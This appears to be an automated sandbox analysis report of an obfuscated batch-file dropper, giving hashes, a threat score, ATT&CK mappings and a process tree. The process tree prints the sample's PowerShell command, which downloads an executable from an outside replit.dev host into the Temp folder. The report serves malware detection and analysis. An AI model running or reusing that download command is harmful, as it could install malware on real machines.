137771c08a3b7e830d500119028bcd379f07a1f9f59f3dd6661790c40f941524

Analysis

max time kernel
119s
max time network
123s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
09-11-2024 14:22

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General

Target

New Text Document_obf.bat
Size

1KB
MD5

afe542deaafa2826040b1aafd7ce94bf
SHA1

1b34eea5ba992877fbba707f6b6320b6974b245c
SHA256

137771c08a3b7e830d500119028bcd379f07a1f9f59f3dd6661790c40f941524
SHA512

c6df2a12264e9f9ffea5e080beb9874a590a7286f43f901096b89952df534082094052ff7b79294928695af3cea1eb433a616e686e85d922e96fe649db483ff2

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1760	powershell.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3036	timeout.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1760	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1760	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2128 wrote to memory of 3036	2128	cmd.exe	31
PID 2128 wrote to memory of 3036	2128	cmd.exe	31
PID 2128 wrote to memory of 3036	2128	cmd.exe	31
PID 2128 wrote to memory of 1760	2128	cmd.exe	32
PID 2128 wrote to memory of 1760	2128	cmd.exe	32
PID 2128 wrote to memory of 1760	2128	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\New Text Document_obf.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2128
- C:\Windows\system32\timeout.exe
  timeout /t 2 REM Wait for 2 seconds to simulate processing
  2⤵
  - Delays execution with timeout.exe
  PID:3036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "try { Invoke-WebRequest -Uri 'https://209a4381-e3eb-466a-9efc-fca8d71e6314-00-2bl68nwmi4jw4.kirk.replit.dev/nostart.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\nostart.exe' } catch { Write-Host 'Failed to download file: $_'; exit 1 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1760-4-0x000007FEF581E000-0x000007FEF581F000-memory.dmp

Filesize
4KB

Download
memory/1760-5-0x000000001B210000-0x000000001B4F2000-memory.dmp

Filesize
2.9MB

Download
memory/1760-6-0x0000000002570000-0x0000000002578000-memory.dmp

Filesize
32KB

Download
memory/1760-7-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

Filesize
9.6MB

Download
memory/1760-8-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

Filesize
9.6MB

Download
memory/1760-9-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

Filesize
9.6MB

Download
memory/1760-10-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

Filesize
9.6MB

Download
memory/1760-11-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

Filesize
9.6MB

Download
memory/1760-12-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

Filesize
9.6MB

Download